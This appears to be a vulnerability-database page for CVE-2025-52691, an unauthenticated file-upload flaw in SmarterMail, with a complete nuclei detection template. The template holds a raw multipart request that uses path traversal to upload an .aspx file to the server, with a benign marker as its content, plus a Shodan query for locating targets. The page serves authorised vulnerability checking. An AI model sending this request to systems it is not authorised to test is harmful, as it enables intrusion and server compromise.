Browse / CVEs / CVE-2025-52691
CVE-2025-52691
SmarterMail - Unrestricted File Upload
Exploited in the wild. Listed by CISA on 2026-01-26; known to be used by ransomware.
criticalseverity
85.7%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
Mail server contains an unrestricted file upload vulnerability allowing unauthenticated attackers to upload arbitrary files to any location, potentially enabling remote code execution.
Impact
Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.
Fix
Update to the latest version of the mail server.
How to confirm it
Send: POST /api/upload
Positive when: contains "\"fileName\":" and "{\"key\":" AND status 200Run it with nuclei: nuclei -id CVE-2025-52691 -u <target>
The full check
id: CVE-2025-52691
info:
name: SmarterMail - Unrestricted File Upload
author: DhiyaneshDK,watchTowr
severity: critical
description: |
Mail server contains an unrestricted file upload vulnerability allowing unauthenticated attackers to upload arbitrary files to any location, potentially enabling remote code execution.
impact: |
Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.
remediation: |
Update to the latest version of the mail server.
reference:
- https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691
- https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2025-124/
metadata:
verified: true
max-request: 1
shodan-query: html:"SmarterMail"
tags: cve,cve2025,smartermail,file-upload,intrusive,rce,kev,vkev,vuln
variables:
rand_string: '{{to_lower(rand_text_alpha(6))}}'
file_name: '{{to_lower(rand_text_alpha(6))}}'
http:
- raw:
- |
POST /api/upload HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="context"
attachment
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="resumableIdentifier"
fakeID
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="resumableFilename"
{{file_name}}.aspx
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="contextData"
{"guid":"dag/../../{{rand_string}}"}
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="whatever"; filename="{{file_name}}.jpg"
Detection Artifact Generator
------WebKitFormBoundary7MA4YWxkTrZu0gW--
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"fileName":'
- '{"key":'
condition: and
- type: status
status:
- 200References
- https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691
- https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2025-124/
Use this check only on systems you are authorised to test. Where the data comes from